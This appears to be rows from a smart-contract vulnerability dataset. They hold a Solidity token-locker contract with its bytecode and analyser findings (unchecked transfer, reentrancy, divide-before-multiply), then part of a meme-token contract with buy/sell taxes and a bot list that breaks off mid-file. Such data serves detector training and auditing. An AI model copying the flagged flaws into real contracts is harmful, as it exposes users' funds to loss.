* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract SwapTokenLocker is SwapAdmin {
using SafeMath for uint;
struct LockInfo {
uint128 amount;
uint128 claimedAmount;
uint64 lockTimestamp;
uint64 lastUpdated;
uint32 lockHours;
}
address immutable token;
mapping (address => LockInfo) public lockData;
constructor(address _admin, address _token) public SwapAdmin(_admin) {
token = _token;
}
function getToken() external view returns(address) {
return token;
}
function emergencyWithdraw(address _tokenAddress) external onlyAdmin {
require(_tokenAddress != address(0), "Token address is invalid");
IERC20(_tokenAddress).transfer(msg.sender, IERC20(_tokenAddress).balanceOf(address(this)));
}
function getLockData(address _user) external view returns(uint128, uint128, uint64, uint64, uint32) {
require(_user != address(0), "User address is invalid");
LockInfo storage _lockInfo = lockData[_user];
return (
_lockInfo.amount,
_lockInfo.claimedAmount,
_lockInfo.lockTimestamp,
_lockInfo.lastUpdated,
_lockInfo.lockHours);
}
function sendLockTokenMany(
address[] calldata _users,
uint128[] calldata _amounts,
uint32[] calldata _lockHours,
uint256 _sendAmount
) external onlyAdmin {
require(_users.length == _amounts.length, "array length not eq");
require(_users.length == _lockHours.length, "array length not eq");
require(_sendAmount > 0 , "Amount is invalid");
IERC20(token).transferFrom(msg.sender, address(this), _sendAmount);
for (uint256 j = 0; j < _users.length; j++) {
sendLockToken(_users[j], _amounts[j], uint64(block.timestamp), _lockHours[j]);
}
}
function sendLockToken(
address _user,
uint128 _amount,
uint64 _lockTimestamp,
uint32 _lockHours
) internal {
require(_amount > 0, "amount can not zero");
require(_lockHours > 0, "lock hours need more than zero");
require(_lockTimestamp > 0, "lock timestamp need more than zero");
require(lockData[_user].amount == 0, "this address has already locked");
LockInfo memory lockinfo = LockInfo({
amount: _amount,
lockTimestamp: _lockTimestamp,
lockHours: _lockHours,
lastUpdated: uint64(block.timestamp),
claimedAmount: 0
});
lockData[_user] = lockinfo;
}
function claimToken(uint128 _amount) external returns (uint256) {
require(_amount > 0, "Invalid parameter amount");
address _user = msg.sender;
LockInfo storage _lockInfo = lockData[_user];
require(_lockInfo.lockTimestamp <= block.timestamp, "Vesting time is not started");
require(_lockInfo.amount > 0, "No lock token to claim");
uint256 passhours = block.timestamp.sub(_lockInfo.lockTimestamp).div(1 hours);
require(passhours > 0, "need wait for one hour at least");
require((block.timestamp - _lockInfo.lastUpdated) > 1 hours, "You have to wait at least an hour to claim");
uint256 available = 0;
if (passhours >= _lockInfo.lockHours) {
available = _lockInfo.amount;
} else {
available = uint256(_lockInfo.amount).div(_lockInfo.lockHours).mul(passhours);
}
available = available.sub(_lockInfo.claimedAmount);
require(available > 0, "not available claim");
uint256 claim = _amount;
if (_amount > available) { // claim as much as possible
claim = available;
}
_lockInfo.claimedAmount = uint128(uint256(_lockInfo.claimedAmount).add(claim));
IERC20(token).transfer(_user, claim);
_lockInfo.lastUpdated = uint64(block.timestamp);
return claim;
}
}
contract SwapTokenLockerFactory {
event SwapTokenLockerCreated(address admin, address locker);
mapping(address => address[]) private deployedContracts;
address[] private allLockers;
function getLastDeployed(address owner) external view returns(address locker) {
uint256 length = deployedContracts[owner].length;
return deployedContracts[owner][length - 1];
}
function getAllContracts() external view returns (address[] memory) {
return allLockers;
}
function getDeployed(address owner) external view returns(address[] memory) {
return deployedContracts[owner];
}
function createTokenLocker(address token) external returns (address locker) {
SwapTokenLocker lockerContract = new SwapTokenLocker(msg.sender, token);
locker = address(lockerContract);
deployedContracts[msg.sender].push(locker);
allLockers.push(locker);
emit SwapTokenLockerCreated(msg.sender, locker);
}
}
|
0x608060405234801561001057600080fd5b506004361061004c5760003560e01c806318d3ce961461005157806343f03ab6146100b0578063a77b6e0314610149578063b45a5c3c146101b7575b600080fd5b610059610225565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561009c578082015181840152602081019050610081565b505050509050019250505060405180910390f35b6100f2600480360360208110156100c657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506102b3565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561013557808201518184015260208101905061011a565b505050509050019250505060405180910390f35b61018b6004803603602081101561015f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061037f565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6101f9600480360360208110156101cd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610445565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b606060018054806020026020016040519081016040528092919081815260200182805480156102a957602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001906001019080831161025f575b5050505050905090565b60606000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080548060200260200160405190810160405280929190818152602001828054801561037357602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311610329575b50505050509050919050565b6000806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054905090506000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600182038154811061041257fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16915050919050565b600080338360405161045690610628565b808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050604051809103906000f0801580156104af573d6000803e3d6000fd5b5090508091506000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020829080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001829080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f758ba1a81be07b9701bb6c4ac4fc3979d34e18d3465ffd5cd4c2958d231899013383604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a150919050565b6121ff806106368339019056fe60a060405234801561001057600080fd5b506040516121ff3803806121ff8339818101604052604081101561003357600080fd5b81019080805190602001909291908051906020019092919050505081600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156100f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f61646d696e20616464726573732063616e6e6f7420626520300000000000000081525060200191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f600082604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a1508073ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff1660601b81525050505060805160601c6120006101ff6000398061086552806109e752806111a052506120006000f3fe608060405234801561001057600080fd5b506004361061009e5760003560e01c80636e5110ae116100665780636e5110ae146102865780636ff1c9bc146102da578063c62223311461031e578063e8345bd1146103d0578063f851a440146104825761009e565b806307880b7f146100a35780631c9fa3cc146100e757806321df0da71461021457806325971dff146102485780636c8381f814610252575b600080fd5b6100e5600480360360208110156100b957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506104b6565b005b610212600480360360808110156100fd57600080fd5b810190808035906020019064010000000081111561011a57600080fd5b82018360208201111561012c57600080fd5b8035906020019184602083028401116401000000008311171561014e57600080fd5b90919293919293908035906020019064010000000081111561016f57600080fd5b82018360208201111561018157600080fd5b803590602001918460208302840111640100000000831117156101a357600080fd5b9091929391929390803590602001906401000000008111156101c457600080fd5b8201836020820111156101d657600080fd5b803590602001918460208302840111640100000000831117156101f857600080fd5b909192939192939080359060200190929190505050610653565b005b61021c6109e3565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610250610a0b565b005b61025a610be4565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102c46004803603602081101561029c57600080fd5b8101908080356fffffffffffffffffffffffffffffffff169060200190929190505050610c0a565b6040518082815260200191505060405180910390f35b61031c600480360360208110156102f057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112a3565b005b6103606004803603602081101561033457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061153b565b60405180866fffffffffffffffffffffffffffffffff168152602001856fffffffffffffffffffffffffffffffff1681526020018467ffffffffffffffff1681526020018367ffffffffffffffff1681526020018263ffffffff1681526020019550505050505060405180910390f35b610412600480360360208110156103e657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506116c5565b60405180866fffffffffffffffffffffffffffffffff168152602001856fffffffffffffffffffffffffffffffff1681526020018467ffffffffffffffff1681526020018367ffffffffffffffff1681526020018263ffffffff1681526020019550505050505060405180910390f35b61048a61176b565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461055a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602f815260200180611f50602f913960400191505060405180910390fd5b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f0faed18be9e8f4d4c05dfbcc80ea2c97a0be729614d766827778f60890c02cab81600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a15050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146106f7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602f815260200180611f50602f913960400191505060405180910390fd5b848490508787905014610772576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f6172726179206c656e677468206e6f742065710000000000000000000000000081525060200191505060405180910390fd5b8282905087879050146107ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f6172726179206c656e677468206e6f742065710000000000000000000000000081525060200191505060405180910390fd5b60008111610863576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f416d6f756e7420697320696e76616c696400000000000000000000000000000081525060200191505060405180910390fd5b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15801561091257600080fd5b505af1158015610926573d6000803e3d6000fd5b505050506040513d602081101561093c57600080fd5b81019080805190602001909291905050505060005b878790508110156109d9576109cc88888381811061096b57fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1687878481811061099457fe5b905060200201356fffffffffffffffffffffffffffffffff16428787868181106109ba57fe5b9050602002013563ffffffff1661178f565b8080600101915050610951565b5050505050505050565b60007f0000000000000000000000000000000000000000000000000000000000000000905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610ace576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f4f6e6c792063616e6469646174652063616e206265636f6d652061646d696e0081525060200191505060405180910390fd5b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f8160008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a150565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080826fffffffffffffffffffffffffffffffff1611610c93576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f496e76616c696420706172616d6574657220616d6f756e74000000000000000081525060200191505060405180910390fd5b60003390506000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050428160010160009054906101000a900467ffffffffffffffff1667ffffffffffffffff161115610d73576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f56657374696e672074696d65206973206e6f742073746172746564000000000081525060200191505060405180910390fd5b60008160000160009054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff1611610e1b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f4e6f206c6f636b20746f6b656e20746f20636c61696d0000000000000000000081525060200191505060405180910390fd5b6000610e66610e10610e588460010160009054906101000a900467ffffffffffffffff1667ffffffffffffffff1642611b9990919063ffffffff16565b611be390919063ffffffff16565b905060008111610ede576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f6e656564207761697420666f72206f6e6520686f7572206174206c656173740081525060200191505060405180910390fd5b610e108260010160089054906101000a900467ffffffffffffffff1667ffffffffffffffff16420311610f5c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180611fa1602a913960400191505060405180910390fd5b60008260010160109054906101000a900463ffffffff1663ffffffff168210610fb9578260000160009054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff16905061102d565b61102a8261101c8560010160109054906101000a900463ffffffff1663ffffffff168660000160009054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff16611be390919063ffffffff16565b611c2d90919063ffffffff16565b90505b6110728360000160109054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff1682611b9990919063ffffffff16565b9050600081116110ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f6e6f7420617661696c61626c6520636c61696d0000000000000000000000000081525060200191505060405180910390fd5b6000866fffffffffffffffffffffffffffffffff16905081876fffffffffffffffffffffffffffffffff16111561111f578190505b611164818560000160109054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff16611cb390919063ffffffff16565b8460000160106101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff1602179055507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb86836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561122f57600080fd5b505af1158015611243573d6000803e3d6000fd5b505050506040513d602081101561125957600080fd5b810190808051906020019092919050505050428460010160086101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055508095505050505050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611347576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602f815260200180611f50602f913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f546f6b656e206164647265737320697320696e76616c6964000000000000000081525060200191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb338373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561146e57600080fd5b505afa158015611482573d6000803e3d6000fd5b505050506040513d602081101561149857600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156114fc57600080fd5b505af1158015611510573d6000803e3d6000fd5b505050506040513d602081101561152657600080fd5b81019080805190602001909291905050505050565b60008060008060008073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156115e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f55736572206164647265737320697320696e76616c696400000000000000000081525060200191505060405180910390fd5b6000600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002090508060000160009054906101000a90046fffffffffffffffffffffffffffffffff168160000160109054906101000a90046fffffffffffffffffffffffffffffffff168260010160009054906101000a900467ffffffffffffffff168360010160089054906101000a900467ffffffffffffffff168460010160109054906101000a900463ffffffff16955095509550955095505091939590929450565b60026020528060005260406000206000915090508060000160009054906101000a90046fffffffffffffffffffffffffffffffff16908060000160109054906101000a90046fffffffffffffffffffffffffffffffff16908060010160009054906101000a900467ffffffffffffffff16908060010160089054906101000a900467ffffffffffffffff16908060010160109054906101000a900463ffffffff16905085565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000836fffffffffffffffffffffffffffffffff1611611817576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f616d6f756e742063616e206e6f74207a65726f0000000000000000000000000081525060200191505060405180910390fd5b60008163ffffffff1611611893576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f6c6f636b20686f757273206e656564206d6f7265207468616e207a65726f000081525060200191505060405180910390fd5b60008267ffffffffffffffff16116118f6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611f7f6022913960400191505060405180910390fd5b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff16146119dc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f7468697320616464726573732068617320616c7265616479206c6f636b65640081525060200191505060405180910390fd5b6119e4611ec1565b6040518060a00160405280856fffffffffffffffffffffffffffffffff16815260200160006fffffffffffffffffffffffffffffffff1681526020018467ffffffffffffffff1681526020014267ffffffffffffffff1681526020018363ffffffff16815250905080600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008201518160000160006101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555060208201518160000160106101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555060408201518160010160006101000a81548167ffffffffffffffff021916908367ffffffffffffffff16021790555060608201518160010160086101000a81548167ffffffffffffffff021916908367ffffffffffffffff16021790555060808201518160010160106101000a81548163ffffffff021916908363ffffffff1602179055509050505050505050565b6000611bdb83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d3b565b905092915050565b6000611c2583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611dfb565b905092915050565b600080831415611c405760009050611cad565b6000828402905082848281611c5157fe5b0414611ca8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180611f2f6021913960400191505060405180910390fd5b809150505b92915050565b600080828401905083811015611d31576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000838311158290611de8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611dad578082015181840152602081019050611d92565b50505050905090810190601f168015611dda5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60008083118290611ea7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611e6c578082015181840152602081019050611e51565b50505050905090810190601f168015611e995780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581611eb357fe5b049050809150509392505050565b6040518060a0016040528060006fffffffffffffffffffffffffffffffff16815260200160006fffffffffffffffffffffffffffffffff168152602001600067ffffffffffffffff168152602001600067ffffffffffffffff168152602001600063ffffffff168152509056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f774f6e6c792074686520636f6e74726163742061646d696e2063616e20706572666f726d207468697320616374696f6e6c6f636b2074696d657374616d70206e656564206d6f7265207468616e207a65726f596f75206861766520746f2077616974206174206c6561737420616e20686f757220746f20636c61696da26469706673582212201321d4c8206b5bba1da689ee43c73f08bd09236ac84c888faed73da0233d63bb64736f6c634300060c0033a2646970667358221220ae770558b4580299a158c8831b2238e7262327088aa124fb84864e47918bdae964736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 5,925 |
0x501c632c670bcdf434544ca8ece68ac34943a5e2
|
/**
*Submitted for verification at Etherscan.io on 2022-03-05
*/
/**
Vought Hero Inu
Total supply:7777777
Max Buy:77777
Max Wallet: 7777777
Tax: 7% buy 17% sell
Why did you decide to join Vought?
join us:VoughtTokenETH
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract VoughtHeroInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Vought Hero Inu";
string private constant _symbol = "VOUGHTINU";
uint8 private constant _decimals = 9;
mapping (address => uint256) _balances;
mapping(address => uint256) _lastTX;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 _totalSupply = 7777777 * 10**9;
//Buy Fee
uint256 private _taxFeeOnBuy = 7;
//Sell Fee
uint256 private _taxFeeOnSell = 17;
//Original Fee
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
address payable private _marketingAddress = payable(0xA8fB551E3d9bFCCf967BDBa9A81AF317b29dfE17);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen = false;
bool private inSwap = false;
bool private swapEnabled = true;
bool private transferDelay = true;
uint256 public _maxTxAmount = 77777 * 10**9;
uint256 public _maxWalletSize = 777777 * 10**9;
uint256 public _swapTokensAtAmount = 7777 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_balances[_msgSender()] = _totalSupply;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
_isExcludedFromFee[_marketingAddress] = true; //multisig
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
